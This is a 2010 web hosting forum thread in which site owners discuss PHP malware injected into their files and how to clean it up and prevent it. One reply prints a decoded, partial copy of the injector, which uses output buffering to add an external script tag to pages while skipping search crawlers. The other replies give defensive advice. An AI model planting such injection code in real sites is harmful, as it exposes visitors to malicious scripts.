hosted by liquidweb

Go Back   Web Hosting Talk : Web Hosting Main Forums : Programming Discussion : my site hacked by following php code

Forum Jump

my site hacked by following php code

Reply Post New Thread In Programming Discussion Subscription
Send news tip View All Posts Thread Tools Search this Thread Display Modes
Old 05-07-2010, 06:06 AM
manzuni manzuni is offline
Join Date: May 2009
Posts: 9

my site hacked by following php code

some hacker insert the following code to my footer.php
and AVG tell me that threat. Thanks AVG.
AVG tell me the threat:

I find that code and deleted it from my file. But I don't know how the hacker insert to my php file?


Last edited by bear; 05-07-2010 at 09:55 AM.

Sponsored Links
Old 05-07-2010, 08:16 AM
aeris aeris is offline
Web Hosting Master
Join Date: Oct 2009
Posts: 809
Hard to say without more background information. It could be due to weak security on a shared hosting server, a compromised server, or a weakness in your web applications.

Just for fun, here's that chunk decoded and cleaned up somewhat.

if(function_exists('ob_start') && !isset($GLOBALS['mr_no'])) {

	if(!function_exists('mrobh')) {
		if(!function_exists('gml')) {
		 function gml() {
		  if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot") && (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))) {
		   return '<script src=""></script>';

		  return "";

		if(!function_exists('gzdecode')) {
		 function gzdecode($var1) {

		  if($var3&4) {

		  if($var3&8) {

		  if($var3&16) {

		  if($var3&2) {


		  if($var5===FALSE) {

		  return $var5;

		function mrobh($var6) {
		 Header('Content-Encoding: none');

		 if(preg_match('/\<\/body/si',$var7)) {
		  return preg_replace('/(\<\/body[^\>]*\>)/si', gml()."\n".'$1', $var7);
		 } else {
		  return $var7.gml();

It's basically using an output buffer to capture the generated page, then injects an external script before the <body> tag.

Old 05-07-2010, 02:08 PM
GarretRiddle GarretRiddle is offline
New Member
Join Date: May 2010
Posts: 1

Same thing happened to me today. Every single PHP file on my server had that same line of code entered in it. I'm not sure how it happened or how to prevent it from happening again.


Sponsored Links
Old 05-07-2010, 03:18 PM
mobic mobic is offline
Join Date: Oct 2004
Posts: 13
I'm sure there are several approached to getting this done, I'm no expert in this, but one of my "clients" had this problem and each time he removed it it was back the next day.
It turned out that when I went over his folders and files and set the correct permissions the problem stopped. For more info have a look at


Old 05-07-2010, 04:41 PM
Korvan Korvan is offline
Web Hosting Guru
Join Date: Nov 2005
Posts: 268
chmod is only protecting files from being modified by whatever method is being used. it isnt actually plugging the security vunerability that allowed it in the first place. Also chmod wont help you if your script is vunerable to injection by itself (and the permission the script is running under has write access), unless you set the files to read/execute only.

Ideally shared hosting enviroments should not allow users to modify other files on the server outside of their root path, if this is not the case trouble your host to correct it. If they arnt locked out of other users directories it will be possible for them to do possibly more things than inject a snippit of code into a php script, including obtaining usernames and passwords to your database stored in plaintext configuration files.

Old 05-07-2010, 05:40 PM
mobic mobic is offline
Join Date: Oct 2004
Posts: 13
Thank you for clearing that up...


Old 05-07-2010, 08:28 PM
sbink sbink is offline
Join Date: Apr 2010
Posts: 25
The most common method I have seen is the FTP credentials becoming compromised. This can be through brute force, especially with the commonly weak passwords most people use, or just through poor credential management (do you have yours on a sticky note attached to your monitor?). Make sure you approach the host about this issue and have *all* of your credentials changed, including FTP, shell access, control panel, etc. Any method configured for you to access the server should be updated with new credentials. Then go back through your content and remove the scripting.

Old 05-08-2010, 12:15 AM
manzuni manzuni is offline
Join Date: May 2009
Posts: 9

Old 05-08-2010, 07:58 AM
aeris aeris is offline
Web Hosting Master
Join Date: Oct 2009
Posts: 809
chmod will only help you if you're on a weakly secured shared hosting server, in the sense that it can stop other people on the server from changing your files. But if your host doesn't work with the files being owned by your own account, other people will still be able to read them, and extract things like database credentials which they can then use to access your database.

It's a jungle out there.

Old 05-14-2010, 08:30 AM
Host90 Host90 is offline
Junior Guru
Join Date: May 2010
Location: Online
Posts: 233
Samething happened for one of my clients , each file of his wordpress instalaltion got that dumb in side at the begining , we found a php script that clean up all files and also remove empty lines

Old 05-14-2010, 02:51 PM
TabHosts TabHosts is offline
Join Date: Jan 2010
Location: London
Posts: 10
Possibly a PHP Shell?

Old 06-01-2010, 06:57 AM
Stan1 Stan1 is offline
New Member
Join Date: Jun 2010
Posts: 1
I think this is weak security of file manager or picture manager plugins in wysiwyg editors like TinyMCE
here is our case in old Mambo CMS installation

Old 06-01-2010, 10:33 AM
M Bacon M Bacon is offline
Join Date: Apr 2009
Posts: 3,255
Make sure you ask your host to update your cPanel and PHP/MYSQL. Make sure that you update your PHP scripts as well. A lot of hosts probably don't follow the proper procedures in security as well unfortunately from what I have seen. As always, backup your site every week at least.

Old 10-07-2010, 02:29 PM
nood nood is offline
Join Date: Oct 2010
Posts: 5
The people who create this code and hack it onto people's site are the most despicable of all internet criminals.

I believe I have a simple solution to this problem, at least to stop this scum from hurting your customers.

Their script finds every PHP file and prepends a chunk of PHP.

So use that against them. Include in every page as you would functions of a config file. If it's not in the same directory as your index file, obviously change the code to fit.

HTML Code:

# this file should be less than 570 chars in length



//echo strlen($data);

if (strlen($data)>$expected)
	//mail('youremail','Website compromised '.$_SERVER['HTTP_HOST'],'taken offline','FROM: youremail');
	if (!file_exists('index.phpx')) rename('index.php','index.phpx');
	// write this despite the existance of index.phpx in case they strike again
	$fh = fopen('index.php', 'w') or die("can't open file");
	fwrite($fh, 'Sorry, we are currently offline');


Old 10-07-2010, 03:42 PM
Tom, Tom, is offline
Aspiring Evangelist
Join Date: Aug 2009
Location: United Kingdom
Posts: 388
You can infect every page on a website with a PHP shell if they haven't secured PHP


Similar Threads
Thread Thread Starter Forum Replies Last Post
Hacked; Warning: count.php?o=2 code mifbody Hosting Security and Technology 30 07-31-2008 06:50 AM
How to show HTML and PHP code on a site? Eiolon Programming Discussion 11 10-18-2007 09:20 AM
Site Hacked via php script placed in WordPress Uploads directory cnymike Hosting Security and Technology 8 04-08-2007 08:38 AM
PHP/MYSQL Trivia site code job mrsam Employment / Job Offers 2 11-26-2005 03:30 PM
Code my Teen Site in PHP and MYSQL. Employment / Job Offers 3 08-22-2005 04:27 AM

Related posts from
Title Type Date Posted
Web Host Code Spaces Closes Shop After Hacker Deletes Customer Data Web Hosting News 2014-06-19 16:34:41
WiredTree Listing 2014-09-16 00:42:38
Could Website Hackers be Chasing Hosting Customers Away? Blog 2013-08-27 09:07:42
Syrian Electronic Army Targets Top US Media Websites in Outbrain Platform Hack Web Hosting News 2013-08-16 10:46:10
Apache Malware Darkleech Spreads Rapidly with Increase in Attacks Web Hosting News 2013-07-03 12:11:03

Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes
Postbit Selector

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off

Forum Jump
Log in with your username and password

Forgot Password?
Web Hosting News:
WHT Membership
WHT Membership



Welcome to

Create your username to jump into the discussion! is the largest, most influentual web hosting community on the Internet. Join us by filling in the form below.

(4 digit year)

Already a member?